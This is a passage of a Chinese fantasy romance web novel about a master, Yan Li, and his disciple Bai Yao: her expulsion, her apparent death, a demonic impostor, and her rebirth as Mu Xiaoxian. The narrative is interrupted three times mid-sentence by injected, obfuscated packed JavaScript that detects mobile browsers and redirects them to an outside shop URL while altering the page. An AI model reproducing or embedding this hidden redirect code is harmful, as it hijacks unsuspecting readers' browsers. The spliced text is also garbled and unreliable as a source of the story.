房中没有应答,白瑶撇撇嘴,又道:“我放桌上了。”她背起手走出门,回望了一眼桌上的罐子,心想,还是要慢慢来啊。 晏离在白瑶得脚步声渐渐远去后,推门而出,目光落在桌上的罐子,不知不觉走了过去,将罐子捧在手中。他打开盖子,一阵馥郁的香气扑鼻而来,清新酸甜的滋味在唇齿间弥漫,他的思绪越飘越远,心中涌起一丝陌生的慌乱。 直到门外脚步声再次靠近,他才恍然回神,只听见一声脆裂的声响。 那罐盐渍青梅与碎裂的罐子一同洒在了地上,颗颗青色的梅子裹着白色的盐渍从罐子里滚出来,他抬眼与一脸错愕的白瑶迎了一个照面。 在白瑶看来,晏离竟为了躲避她,将她亲手做的盐渍青梅摔在了地上。 或许她是不该对晏离产生别样的想法,或许是她操之过急,但是盐渍青梅又有什么错呢?摔罐子是几个意思?他就如此反感她,连一罐盐渍青梅也容不下? 一股酸涩漫上心头,白瑶眨了眨眼:“师父,你不爱吃大可以放着,砸了多可惜啊。”说着,一挥袖卷走地上的残渣。 虽这不是晏离的本意,不过白瑶若是误会,也不失是一件好事。 他冷冷道:“以后不要再做了。” 白瑶没有应答。 白瑶每日修炼的强度大大增加,几乎每日鸡鸣就需起床上山,等到入夜才能回来,累得倒头就睡,一来二去,她与晏离相处的时间大大减少。 她怀疑晏离是在故意刁难她,但是她又不能反抗,她怕自己一反抗直接就得拎着包袱走人。 月色低垂,山外云境的门吱呀一声推开,精疲力竭的白瑶从门外走进来,抬眼望了一眼晏离的房间,见他房间没有点灯,似乎已经歇息。她微微叹了一口气,脚尖轻点跃进了屋内,走进另一侧自己的房间,轻轻阖上了门。 她所不知的是,晏离并未歇息,在她进入山外云境时便于昏暗中望着她的房门出神,直到房门打开又轻轻阖上,他才恍然回神。 在这一个月中,为了断了白瑶的心思,他对她越发严厉,却每次见到白瑶时,心里都会微微一沉。他不去细想这是为什么,但不可否认,在这一个月中,他日日夜夜的脑海中都会出现白瑶的影子。 挥之不去,赶之不走,驱之不离。 他不该因为这种荒唐的事乱了阵脚。 清晨,白瑶在辗转反侧了一夜后敲开了晏离的房门。她故作镇定地说:“师父,我昨日修炼时有一招不明白,今日你若有空,可否指点我一二?” 说话比她往日客气了许多。 晏离虽然并不在意她的说辞,却将门往内拉上,留下一句:“没空。” “诶!”白瑶眼看门快要阖上,心里万分焦急,不知下一次还有什么理由找晏离,赶紧伸手去拉,却不小心被门夹了手。 她惊呼一声,倒吸一口冷气,门上的力量陡然一松,她将手抽回来,疼得眼泪都冒出来了。 “你这是做什么?”门已然大开,晏离的声音又冷又硬。 白瑶心里那个委屈啊,她若不是为了和晏离重新建立起师徒情谊,她能受这个罪吗?她红着眼眶,咽了咽喉咙:“师父,我只是想让您赐教,您不要多想。您若是今日没空,我明天再来就是了。” 这么一说倒像是晏离心里有鬼,不敢坦然面对她。 晏离沉默了半晌,从房内走出来:“走吧。” 白瑶眼中的红色立刻褪去,跟在晏离身后轻快地走出山外云境,来到山林中。 晏离站在树下看她修炼,她也不敢怠慢,使出了全力,将自己这些天辛苦修炼的成果一一展示了出来。 她一口气连出了十招,招招都打中了目标,但在最后一招时,却因控制不好仙力,被收回的仙力反推出去好几步。 白瑶又重复了一遍招式,因为过于心急,这一次收手不仅被仙力反噬,且后背撞上了一棵大树,撞得她头晕目眩,好一会儿才回过神。 她跌跌撞撞地爬起来,起身时太着急手臂被树枝划开了一道口子,她本以为晏离会说点什么,却见他面色毫无波澜地望着她,站在树下一动未动。那目光冷淡平常,让白瑶心中又涌上了一阵委屈。 白瑶抿了抿嘴,问:“师父,我修炼了这么长时间,为什么收回仙力时,还会被仙力反噬?” 晏离淡淡道:“你虽花费了大量时间修炼,却并不用心,只是在用蛮力。你若是将心思都放在修炼上,早就能控制了。” 白瑶听明白了,晏离是在指责她心思用在了别的地方。可她也不算用在了别的地方,她是将心思用在了他身上啊。 白瑶凑到他身前,徒手比划了几下:“师父,你教教我,这一招收手时应该如何调动仙力?” 晏 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白瑶眼神黯了黯:“这些天你故意为难我,就是想让我知难而退?” 白瑶向他迫近了一步,直直盯着他的眼睛,眼中满是她的执念:“若我不想退呢?” 晏离的脸色顿时不太好看。 白瑶轻呵了一声:“师父,我怎么觉得你好像很怕我啊?” 晏离垂在袖中的手攥了攥拳,却不知该作何反应。 白瑶又贴近了一步,望着他深吸了一口气:“师父,你还记得欠我一个拥抱吗?”她故意张开双臂,对他挑了挑眉:“现在到了该还给我的时候了。” 晏离眼神一滞,微微拧眉:“现在不行。” 白瑶勾唇一笑,笑意却并未达到眼底:“那什么时候可以?师父难道还想留到以后再说?” 晏离冷冷地望着她,沉默半晌,微微张开了双臂,目光却不再看她。这副受人牵制的模样,倒是让白瑶多了几分撕裂禁忌的快感。 白瑶咬了下唇,忍着心中的窃喜,跃进晏离的怀中。晏离身上的清香比以往任何时刻都要浓烈,她说不出是什么感觉,只觉得躁动的心平静下来,欢喜和暖意交织在胸口。 若是时间能一直停留在这一刻就好了。 她紧紧贴在晏离的胸膛上,然而此时,他的心跳声敲击着她的耳骨,却如此平和,竟然没有一丝起伏。 白瑶心中的暖意渐渐褪去,继而一种难堪的情绪一点一点涌上了她的神志,将她刚才那一点点喜悦冲蚀殆尽。 她终于意识到,晏离如同一块捂不热的石头,不论她做了什么,他终究还是对她毫无感觉。她如此强迫他,除了让两人越来越远,没有半点用处。 白瑶猝然放开晏离,匆匆瞥了他一眼,只见他面色愈加惨白,心中一痛,慌不择路地逃离此处。 在她转身离开之后,晏离站在原地许久未动。 两人的关系愈加僵持,冷战数日,再也无法回到从前。 155. 第 155 章 终有一天,白瑶早起欲出门修炼,见晏离早早坐在山外云境的院子里。 白衣肩上透着湿气,杯中的茶已凉,茶面漂浮着一片不知何时落下的树叶,他也没有察觉。 清晨山中寒凉,白瑶有仙气护身,但还是觉得一股寒气由内而发。她故作镇定,扬起笑容向院外走去:“师父,我去修炼了。” “你走吧。”声音比凉薄的空气还要冷上三分。 有一瞬间她以为自己听错了。 白瑶推门的手僵在半途,心中仿佛被利刃刺中,疼得呼吸一滞。寒风穿过她的躯体,贯入她心中的伤口,几乎要将她撕裂。她颤抖着收回手,紧紧攥成拳,深吸了口气,压着声音说:“这就是你想了几个月的结果?” 晏离淡漠地看了她一眼,冷言道:“我没有你这样的徒弟。” 一句话将她逐出师门,撇清了他们之间六百年的关系。 “为什么?”白瑶死死盯着他。 “你心术不正,我不能继续教你。”他平静又严肃地说。 “我没有强迫你。”白瑶咬牙道。 晏离不看她,眼神亦看不出情绪,但语气不容置喙:“现在就走。” 话已至此,她的身份不允许自己低头。 白瑶狠狠瞪了晏离一眼,向房内走去,不一会儿,她背着一个包裹出来,手上拿着万丰镇带回来的月亮灯笼和兔子面具。 晏离看到她手中的东西眼中有一刹那凝滞,很快化作云淡风轻,没有留下痕迹。 白瑶紧紧握着灯笼和面具,带着复杂的情绪望了晏离一眼,见他毫无反应,心中又悲又气,将手上的东西仍在地上,一脚踩了上去。 晏离的手收在长袖中,攥成了拳。 他不能再这样下去。 让所有的混乱在这里停止,就当一切没有发生过。 灯笼骨架支离破碎,兔子脸被踩成了两半,混在沙土中再也没有当初光彩。 白瑶脑海中产生了一瞬间恍惚,仿佛那夜在万丰镇握着她的手套中灯笼的画面、她在街头带着兔子面具的画面、在桥头烟花笼罩下对晏离表白的画面......都是幻梦一场。随着灯笼、面具的碎裂,一同跌入了尘埃之中。 可是怎么能当做没有发生过? 白瑶红着眼睛骂道:“你这个万年不变的冰山死人脸,心比石头还硬,身比棺材还冷!天天板着一张脸浪费五官,有事只会憋在心里一言不发,谁知道你在想什么!冷漠、高傲、自负、严酷......讨厌死了!没人能受得了你!” 她这样无法无天地骂,晏离没有阻止,看来他是铁了心要撇清关系。 “咕咕咕咕”院子里的山大王惊得扑腾起来。 白瑶身上越发冰冷,失落地看了山大王一眼,山大王居然有些读懂了她眼中的神情,过来啄她的鞋子。 白瑶烦躁地想把它踹开,但还是没能下的去脚。她冷笑一声:“你走吧,回去做你的山大王。反正我也不会回来了。” 晏离呼吸一滞,心里像是流失了什么。 白瑶深吸了口气,换上了轻松的神情:“忘了跟你说,宫里来信,我和华尧已经定亲了。” 她想要从晏离的神情上找到一丝异样,但是什么也没有,仿佛她说的是与他毫无干系的事。白瑶心口一痛,呼吸急促几分,目光幽幽转冷,道:“过些年给您发喜帖,您一定要来。不论您想以什么身份。” 须臾,晏离平静道:“不必。” 白瑶心中失望透顶,眼眸的寒意如同置身于冰天雪地,自嘲地扯了扯嘴角:“发不发喜帖是我的事,来不来随你。” 然后推门而出,留下冷冷的一句:“我走了。再也不会有人喜欢你了。” 山大王在白瑶走后落寞了一阵子,也离开了山外云境,重新回到了山头。 晏离恢复了一个人独居的生活。 他有时睡醒睁开眼睛还会有一瞬间恍惚,以为白瑶还在,但是看到她屋内空无一物,弥漫着刺骨的冷清,知道她终究是不会回来了。于是晏离将她的屋子堆满了古籍,让房间看上去满满当当。 他不知自己为何这么做,只是觉得这样看上去好一些。 日子匆匆而过,他收到了万丰镇丰家小姐丰蓓的喜帖,诚邀晏离、白瑶两位尊客莅临。但是白瑶已经收不到这封信,他也不会一个人去。 不久,丰梁写了长篇大论的信来指责他,好像是白瑶送了几分大礼过去,他才知道原来那是白家未来的继承人。说白瑶天资聪慧,识大体,送的都是上等的宝贝,不像某人薄情寡义,连面都不肯露。还说虽然不知他和白瑶为何突然分开,但白瑶是个好孩子,以晏离生冷的性子难免照顾不到她的情绪,对她好一些也是应该的。下次让他一定将白瑶再带来万丰镇做客。 晏离不知不觉将那封信看了好多遍,才意识到已经过去一年,那是他第一次有了白瑶的消息。 时间流转数年,晏离收到了长乐宫里的消息,白瑶即将继位青丘之主。 继位大典上,白瑶穿着白色霓裙,带着凤冠流珠,端庄大气,看上去成熟了不少。她乘坐五兽撵出宫,在宫外绕行一周。无人知晓,那日他在隐蔽处眺望着长乐宫,随着撵一路远远地跟着。 她会成为一个好女君。 虽然他不想拥有太多情感,但心中浮现了久违的欣然与骄傲。 他的目光无法控制地在她身上流连,直到白瑶突然看过来,他才低下头隐匿了自己的踪迹。 宫门一点点阖上,他的视线越来越窄,他的心一点一点沉下去。 或许这是最后一眼。 人群渐渐散去,晏离在远处遥遥望着那扇紧闭的宫门,记忆回到了若干年前白瑶千岁宴伊始,那日落日余晖泼洒在宫墙上,他一人形单影只走在通往大殿的路上。他不知想起了什么,嘴角牵起一丝淡淡的笑意,那抹笑意在乍起的夜风中添上了几分凉薄。 他伫立了很久,直到融入沉沉夜色。 晏离不记得自己是如何回到山外云境,推开门时,他细长的影子倒映在空荡荡的屋内,从地上延伸到了墙上。 浑浑噩噩的日子一晃过去数百年,日子过得时快时慢,有时他会收到一些宫里的消息,他既有一丝期待,又很抗拒。他想知道白瑶现在是什么样子,但又怕听到关于她的事情,譬如她将和某位上神成亲。 直到几百年后,天火来袭,白瑶受了重伤。 晏离收到消息立刻赶往万灵洞,万灵洞设下了结界,他不敢贸然闯入。 他在洞口等了许多年,不知今世何世。他想了很多很多,将与白瑶相处的日日夜夜在他脑海中不断复现。 一种这些年来一直不敢承认的感觉,一点一点侵蚀着他的理智,他开始慌乱、后悔、害怕...... 三百年后的某日,洞口的封印忽而消散,洞口出现一个曼妙的身影。 少女长高了一些,身上那股灵动的稚气褪去,变得更加成熟清雅。她面庞如玉,眼眸似杏,红唇如朱,虽是那副熟悉的面孔,但因吸收了万物灵气,滋养得温润饱满。她从洞口缓缓走出,虽然身着简洁的裙裳,但几步之间大气又端庄,颇有青丘之主的风范。 晏离抬眸望向那个身影,声音冷到了极致:“你是谁?” 少女微微一笑:“我是白瑶。” 晏离身上的寒气更重,脚下移形换影,瞬间来到她身前,掌风一凌向她袭去。 少女眼中的笑意未变,提身跃出几米:“怎么?你不认识我了?” 晏离落在地上,往日平淡的眸子中渗出了杀意:“你不是白瑶。她在哪里?” 少女敛了唇边的笑容,轻挑了下眉,似是撒娇般伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137819|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手向他搂来:“师父,你怎么了?你怎么连我都不认识了?” 晏离忽而消失在原地,又突然惊现于上空,一股仙力凝成的寒剑冲她垂直刺来。 一道紫色从女子那双俏皮的杏眼中弥漫,她飞快侧身躲开,手中显现了一把紫气缠绕的弯弓。 魔气?晏离瞬间了然,寒意如同蜿蜒的藤蔓从他的腿部缠绕而上,扎进他的心中。 她拉开空弓,三只魔气凝成的箭矢向他射来。晏离抽身而去,在树梢上连跳数下,避开了箭矢的攻击,一挥袖尽数挡了回去。 魔气凝成的箭矢噼里啪啦地掉落在土地上,土地瞬间黑化,箭矢也消失得无影无踪。 与此同时,一道纯净的仙力惊略过林中,斩断了枝与叶,向女子袭去。女子飞身而退,速度却不及晏离,数道仙力在林中迸发,他竟是下了死手。 女子在林中疾走,忽而一个恍然,被侧面横冲而来的仙力将她扑倒在地,树杈擦破了脸颊。 女子吐出一口血水,惊慌失措道:“我的脸!”那张同白瑶一模一样的脸上划出了一道血痕,血液带着紫色的魔气从裂痕中渗出,留下紫黑色的血迹,让那张娇俏可爱的面容变得诡异可怖。 她咬牙反手一击,魔气顿时如同海浪向晏离吞噬而来。 林中飞鸟惊叫逃窜,晏离手执一柄寒剑,不躲不逃,面对涌来三层楼高的魔气,挥了三下手中的剑。 剑气如弯月,瞬间破开了魔气,魔气向四周消散,白衣巍然不动。 其中一道剑气冲破魔气后,重重打在了女子身上,女子避之不及倒在地上,寒剑从天而降。 就在剑尖下坠的瞬间,她突然叫道:“我知道她在哪儿。” 剑停在她面庞前一寸。 只要稍一推进,就能刺穿她的喉咙。 她喘了口气,用指尖挑开剑尖:“你不想知道她在哪儿吗?” 晏离盯着她,口中吐出一个字:“说。” “我若是不说呢?” 剑尖再次指向她的脖颈。 女人顶着白瑶的脸:“对着这张脸你也下得去手?你还真是对她无情无义。” 晏离剑尖又向前送了一送。 女人轻笑几声,眼中淬着寒光:“她已经死了。” “你说什么?”晏离瞳孔一缩,惊惧与抵触在眼底翻涌,淡漠的眼眸变得深沉。 剑光一闪,映出女子眼中的恶意。 女子撇开他的剑,一跃而起,优哉游哉地向旁侧走了几步,忽然转身面对一身寒气的晏离道:“她已经死了。在那场天火中神形俱灭。 “本来只要她从火场出来,我就能占据她的身体,但她偏偏想要和我鱼死网破,烧毁了自己的肉身。害我白白浪费了三百年!” 晏离心如刀绞,他无法想象白瑶在火场中经历了什么,他的眼中涌入愤恨的火光,长剑嗡鸣不止。 女子的目光在晏离脸上流连,似乎在欣赏他的反应,只可惜她对晏离并不熟悉,这种反应远远不够。 剑蓄势而发,女子自知若是硬碰硬,她不是晏离的对手,她垂下眼睫眼珠一转,继而说道:“她回不来了,我就是白瑶。没有我,青丘无主,会是什么下场你应该清楚。” 女子嘴角挑起一丝傲慢的笑意,轻轻撩了撩头发,眼神带着威胁道:“你不在乎青丘,她呢?劝你不要轻举妄动。” 寒剑银光乍现,回到了晏离身侧。晏离冷沉地看着她,眼神如沉淀了千年的冰雪。但女子却丝毫不畏惧:“如果我是你,现在就会回去核实我说的是否是真的,而不是在这里和我继续耗下去。” 晏离留下了一记警告的眼神,转身一跃,消失在长空中。 女子望着他离去的背影,纤细的玉指抹掉脸上的血迹,勾起唇角露出残忍的笑意,呢喃道:“你还会回来找我的。” 156. 第 156 章 晏离失魂落魄地回到山林中,在冰冷刺骨的瀑布中发泄他心中的愤怒和痛苦。水花暴起,轰轰几声,山野中传来巨石崩裂的声音。 树倾叶落,鸟雀扑腾。 他浑身湿透,心中的寒意不断向外溢出。 他不信白瑶已经消失了,何况是三百年前就消失了。 晏离没日没夜地在青丘境内一寸一寸地搜索,用尽了所有办法,全部一无所获。白瑶仿佛真的一夕之间灰飞烟灭,没有留下一点蛛丝马迹。 在辗转反侧多日后,晏离终于感知到了一丝微弱的、熟悉的气息,仿佛荒漠之中快要渴死的人终于看见了一块绿洲,他冰封的心又跳动起来。 他寻着气息潜入长乐宫,大殿紧闭,殿内昏暗阴沉。 人影卧在殿上的长椅上假寐,随着晏离的靠近,长长的眼睫微颤,恍然睁开了眼睛。她侧过身,长腿从椅子上滑落,光着脚踩在地毯上,支起身体轻轻抬起眼睫,红唇微启,语气甚是熟稔:“你来了。” 殿内阴冷,晏离身上更冷,他压着声音问:“白瑶在哪里?” 女人轻笑一声,仿佛在嘲笑他还没看清现在的局势:“我就是白瑶。” “你不是。”晏离狭眸,感应那一丝属于白瑶的气息,却发现那股气息就来自大殿之上。 他再次发问:“她在哪里?” 女人摇摇晃晃地站起身,黑袍上红色的图腾如一朵暗夜中绽开的鸢尾花,她将散落在肩上的碎发撩至耳后,唇角的笑意不减:“我说了,她死了。” 晏离瞳孔骤然紧缩,攥紧了拳,低声喝道:“她的魂魄在哪里?” 女人并未被他吓到,漠然地从台阶上缓缓走下来。那张熟悉的脸庞望着晏离,神情却完全陌生的。 “若我说,她魂飞魄散了呢?” “不可能!”压抑的声音从他喉头挤出,继而涌上了一股铁锈味。 女人呵呵笑着转了个半身,凝望着漆黑一片、空无一物的大殿后侧道:“就算没有魂飞魄散,也差不离了,虚弱混沌的魂魄在世上漂泊游荡,存活不了多久。” 晏离的脸如同覆上一层寒霜,拳头攥得更紧,骨节泛白,胸口剧烈地起伏了几下。如果白瑶真的魂飞魄散,那他感受到的气息又是什么?” 女人侧过头,余光撇下一眼:“你一定在想为什么感觉到了白瑶的气息。” 她伸手亮出一个一指长的琉璃瓶。 白瑶的气息愈发明显。 晏离紧紧盯着瓶子,问:“这是什么?” 女人收回手,将瓶子藏进袖中:“这是她在世上留下的最后一丝血脉。” 晏离的眸光随之黯了下去。 女人眼中淬着阴毒的光,轻声诱惑道:“我知道你放不下她,所以给你留一个纪念。只要......你带上囚仙印,不离开青丘半步,我就将这个瓶子给你。怎么样?” 大殿陷入了沉默。 忽的一阵疾风扬起女人垂下的发丝,身影瞬间逼近。黑色与白色衣袂翻飞,快到难以捕捉,几招之下,晏离将她压制在台阶上。 女人半身软弱无力地倚靠在台阶上,眼中却并无惧意,反而呵呵笑了起来。她手中紧紧捏着琉璃瓶,眯了眯眼道:“世人都说晏离公子清冷如高山之雪,看来你也不似那么平静。你再用力一分,我便捏碎了这瓶子,到时候这世间连她最后一丝气息也无了。” 晏离目光沉沉地盯着她,嘴抿成了一条坚硬的线,她眼中的笑意却越来越深。半晌,晏离松开手:“你以为这样就能威胁我?” 女人不紧不慢地站起身,耸了耸肩,嘲讽道:“我听闻你身为白瑶的师父,与她关系并不好,她在时你尚未对她有几分情谊,人走茶凉,现在这副惺惺作态的样子,不过是为了让自己好受一些罢了。我本以为你对她有愧,现在看来,也不过如此。也是,为了一个已死之人放弃自由,对你而言太不划算了。” 晏离脸色惨白,心如刀绞,他自知对不起白瑶,或许白瑶生前也是怨他的。可是事已至此,他别无选择,只想让白瑶回来。他打断道:“你说的是真的?” 女人一愣,眼中划过一丝妒意:“你当真想换?” 晏离冷冷地看着她,眼中没有一丝犹豫,仿佛对失去自由不甚在意。 可是仙人一旦带上囚仙印就像拖着沉重的枷锁,每走一步便如同荆棘刺入肉/体,不断吞噬自身的仙力,身体会越来越虚弱。他凭什么不在乎? 女人后退半步,唇角向下冷言道:“你对她做的这些,她也看不到了。” 晏离逼上前一步:“你想食言?” 女人冷哼一声:“我说白瑶为何这么傻,原来她的师父更傻,真是有什么样的师父就有什么样的徒弟。” 晏离如愿以偿得到了琉璃瓶,也付出了极大的代价。纯白如雪的身影缓缓向殿外挪去,每一步,脚踝都传来钻心的痛感。他走得不缓不慢,身姿一如来时潇洒。 女人知道他撑不了多久,不过是在逞强,眼底掩不住的嘲讽:“青丘如何,你也不在乎,别费心机,回你的世外隐居吧。” 晏离将瓶子放入衣襟,在胸口靠近心脏的位置,他冷却的心在感受到白瑶的气息后,猛烈地跳动起来。只有这样他才能感受到自己还活着。 此后经年,晏离翻阅所有古籍、用尽了所有仙术,在天地间寻找白瑶,纵使每一次都是徒劳。 这世上再没有一丝一毫白瑶的气息,仿佛她从未存在过。 他从来没有感受过的孤单,在夜里蚕食着他的身体。他常常夜不能寐,望着那间看似满满当当的书房发呆,后来他索性睡在了那里。 他蜷缩那一方狭小的天地想,这么多年白瑶也是望着这样的景物入睡,她会想些什么?如果自己没有赶走她,她如今是不是还安然无恙地和他在一起? 恐惧和懊悔就像吐着性子的毒蛇,缠上他的四肢,吞噬他的五脏六腑。又如细密的针,一寸一寸深入骨髓,将他的身体折磨得千疮百孔。 他想为什么当初自己那么冷漠决绝地赶走白瑶? 他真的想拒绝她吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137820|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怕不是。 他不是在拒绝她,是在拒绝快要失控的自己。 白瑶走后,时间突然慢下了脚步,像拉着断了一根弦的二胡缓慢地呜咽,不着调的曲子咿咿呀呀响个没完。 山大王年纪太大了,不再是从前意气风发的领头鸡,山里新生的小鸡都能轻易地欺负他,也不会有人替他主持公道。它拖着年迈的身躯回到了山外云境,有时站在角落用浑浊的眼睛望着院外的小道,一站就是一天,再也没有力气高声啼鸣。 山大王到死都没有等来它的主人。 它撑了很久,对一只鸡来说已是高寿。 春去秋来,晏离将它埋在了院子的树下,这样倘若有一天白瑶回来了,它就能看见她。 晏离本就冷漠,现在更是将自己的心冰封了起来。 他在一点一点死去,或许在白瑶离开的时候他就已经死了。 他搬到了一个无人知晓的山中,搭建了一座竹屋,屋子很小,唯有两个房间。 竹屋与世隔绝,清冷的晏离公子仿佛消失在了世间,没有人能找到他。直到很多年后,阿筝敲开了竹屋的门,带来了新的希望,将华胥氏的绝学“招魂引”传授给他。 晏离知道这意味着什么,也知道阿筝此去凶多吉少。 白瑶对阿筝来说是生的希望,对他来说又何尝不是。 那些寡淡的日子他已经永远回不去了。 以血为引,他将对白瑶的爱与愧全部寄托在了招魂引之上,指尖凝成的仙力在琴弦撩拨,识海在广袤的天地间一寸一寸地摸索着白瑶的踪迹。他找的很慢,也很细致,不敢放过一丝一毫的动静。 十年......二十年...... 世间变幻莫测。纵使没有白瑶的踪迹,他也从未放弃。 百年......千年...... 他一人在孤寂的群山之中,日复一日重复着枯燥又琐碎的探寻。 “瑶儿......” 混沌黑暗中,一粒石子落入平静如镜的湖面。 晕开了圈圈涟漪。 他的识海划过一道微弱的光,像流星划过天空,转瞬即逝。 琴弦一铮,指腹划开一道口子。 他停了下来,望着渗出的血珠,眼中迸发亮丽的色彩。 在经历了千年的颠簸流离后,白瑶散落在世间的魂息,终于汇聚成了一团小小的、小小的魂魄。它没有意识,还很脆弱,但是它活了下来。 晏离的神识随着那团小小的魂魄在世间历经辗转,在千年的轮回之中看着她一点一点变得完整、强大。 但是还不够。 他要想办法将她带回来,让她回到他身边。 “轰隆”天空电闪雷鸣,世间被乌云笼罩,沉闷得喘不过气。 他用分身撕裂了天地的禁制,跨越了时间与空间,穿越车流与人海,来到她的面前。他缓缓伸出手,带着一丝紧张,更多的是期盼,将千年的等待与思念化作轻声呼唤。 “回来......” 157. 第 157 章 竹林小屋里透出微弱的光,在深沉的夜色中宛若一颗孤独又黯淡的星星。一扇门将萧瑟的寒风隔绝在外,任凭它在林间呼啸,屋内静悄悄的。 桌上的热茶早已放凉,幽幽光线下,墙上映着的两条细长身影如同两枝遥遥相望的竹子。 慕小闲微垂着头坐在桌旁,眼睫随着急促的呼吸轻轻颤动。不知是因为烛光,还是别的什么,她的脸上浮现一层不自然的红晕。那一束来自晏离的目光从桌子另一端紧紧落在她身上,往日冷淡的目光此时有了温度,让她有些无所适从。 她终于明白她为何升天,也明白了晏离对她的不同寻常究竟是为什么。 可是在他记忆中的白瑶,对慕小闲来说是完全陌生的。她就像听了一个冗长的故事,内心颇有感触,就算与其中的人物产生了强烈的共情,在结束时依然要回归自己的身份。 她未发一言,晏离也不打扰她,就这样屋内静默了许久。慕小闲终于鼓起勇气抬眼望向晏离,只一眼,就让她心中一震。 她无法形容那是什么样的神情,好似转眼回到了很多年前她在十字路口第一次见到的那个虚影,像一片风雨中飘摇的柳絮,连眼中的凄切都淡泊无力,仿佛下一秒便会随风而逝。 她顿了一下,用一种轻柔和缓的语气问:“你怎么确定,我就是白瑶?” 晏离从衣襟从取出一个精巧的琉璃瓶,手指微微用力,一层白光卷上瓶身。 慕小闲的心脏陡然一震,身体与灵魂产生了强烈的撕扯感,仿佛有人要剥开她的皮囊。 晏离反手将瓶子收回衣襟中,白光陡然收拢,慕小闲的身体一松,好像什么都没有发生过一样。她不由大口喘息,不明所以地望着晏离:“这是什么?” 晏离目光晦涩:“这是白瑶留下的血。你对它有感觉对吗?它原本应是你的一部分。” 慕小闲不经蹙起眉头,心里的苦涩涌上喉头。 为什么会这样?她不是白瑶! 世间多少人因着一碗孟婆汤,就和过去一刀两断,疲惫的灵魂重新变得纯净,如同初生的婴儿。为什么轮到她就要找回前世的自己?白瑶同她有什么关系?她甚至恶毒地想,生死有命,为什么不能将白瑶就此埋葬? 还有晏离。他为白瑶甘愿带上囚仙印,独自忍受上万年山中孤寂的岁月,可见他对白瑶并非表现的那么冷漠。 那么对她呢?是否因为她是白瑶的转生,所以晏离才会对她好?她站在白瑶的光环下,才能得到晏离的关爱。如果不是白瑶,恐怕晏离看都不会看她一眼。 可是白瑶回不来了。她并不想成为白瑶。 她不想拥有那些复杂又庞大的过去,一旦那些记忆涌入,侵占了她的脑海,原本属于慕小闲的部分就会被压缩得很小很小。虽然慕小闲只是一个普通人,比不上天界各路神仙神通广大,但她不想消失。 可是她能逃避吗? 殷乐和苏怜漪尚且不知道她是白瑶,就屡次对她赶尽杀绝,他们要是知道她过去的身份,绝对不会放过她。 她别无选择。 只有成为白瑶,她才能安心做慕小闲。 虚虚放在桌面上的手突然被陌生的冰凉覆上,慕小闲惊得收回手,睁大了眼睛带着三分戒备看向晏离。 晏离眼底划过一丝刺痛:“你怪我吗......" 慕小闲低下头去不敢与他对视,心里泛起一阵酸涩:晏离对自己做的一切都是希望白瑶能够回来吧? 晏离轻声道:"我知道你一时接受不了。” 摇曳的烛火照耀着他苍白的脸,他望着慕小闲的眼睛,语气沉稳坚定:“不论发生什么,我会同你一起面对。” 慕小闲心里一暖,态度有些动摇。晏离为她做了这么多事,她不该只想着和白瑶撇清关系。 两人同住一个屋檐下,原本慕小闲没觉得有何不妥,现在却突然尴尬了起来。 如果她不是白瑶,或许从长乐宫求得囚仙印的解除方法之后,她就会向晏离表白。晏离若是拒绝她,她就再想想办法。 但现在她连自己是谁都决定不了,又以什么身份追求晏离呢?她如果永远不能成为白瑶,晏离还会对她如此吗? 思及此,慕小闲突然心上一痛,一股热流冲向头顶,许是连日的疲惫和冲击让她急火攻心,紧接着便头晕目眩。她强撑须臾,眼前陡然一黑倒在了桌上。 慕小闲原本想昏他个十天八天的,再不济也要有三五天,最好等她想明白该如何面对晏离时再清醒,但没想到她仅仅在两个时辰之后就悠悠转醒。 在她意识昏沉之时,便感受到一抹若有若无的视线停留在她身上,好似一层温暖的薄雾将她包裹在其中。 她甚至不知道自己该不该在此时清醒过来。 于是她理所应当地闭着眼睛继续装睡,祈祷晏离能尽快离开。 不知晏离是否察觉到她已经醒来,她只觉身边气流微微拂动,继而眼前拢下了一片阴影。 晏离停在了她身前,欲伸手轻轻拨开她额前的碎发,余光瞥见她的眼睫微微一动,心头蓦地一紧,停下了手上的动作。他轻柔的呼吸落在她的脸颊上,如同胭脂为她染上了淡淡的红晕。 她没有睁眼,他也没有拆穿。 不知过了多久,久到慕小闲忘了呼吸,才感到眼前忽然天光大开,压迫和急促的感觉陡然消散。清风幽幽,穿过窗棂拂动床帘,慕小闲缓缓睁开眼,望着空荡荡的房间陷入久久的沉思。 随着门扉吱呀一声,慕小闲恍然回神。她倚靠在床头,脸色在窗外透进来的冷淡的月辉下有些苍白,眉眼之间添上了几分忧虑。她抬眼看向声音的来处,晏离站在门外,身后融融烛火将他一身白衣衬得愈发清冷萧瑟,她看不清他的神情,却无法将目光从他身上挪移。 他们隔着明暗交界望向对方,好似有千言万语融化在静默中,都没有出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 